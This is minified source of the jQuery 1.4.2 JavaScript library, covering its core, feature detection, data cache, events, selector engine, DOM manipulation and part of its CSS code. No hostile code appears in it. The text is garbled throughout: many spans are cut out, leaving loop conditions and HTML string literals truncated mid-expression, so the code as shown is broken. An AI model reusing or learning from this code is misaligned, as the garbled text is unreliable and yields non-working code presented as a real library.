if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this, a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b=== "find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this, function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
a"; var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected, parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent= false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n= s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true, applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando]; else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this, a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b=== w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i, cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected= c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed"); a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g, function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split("."); k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a), C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B=0){a.type= e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&& f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive; if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data", e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a, "_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a, d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift(); t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D|| g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()}, CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m, g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)}, text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}}, setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return hl[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h= h[3];l=0;for(m=h.length;l=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m=== "="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g, h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&& q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML=""; if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="

";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}(); (function(){var g=s.createElement("div");g.innerHTML="
";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}: function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var j=d;j0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j= {},i;if(f&&a.length){e=0;for(var o=a.length;e-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a=== "string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode", d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")? a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType=== 1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/"},F={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
","
"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d= c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this}, wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})}, prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b, this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild); return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja, ""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]); return this}else{e=0;for(var j=d.length;e0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["", ""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]===""&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e= c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]? c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja= function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter= Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function 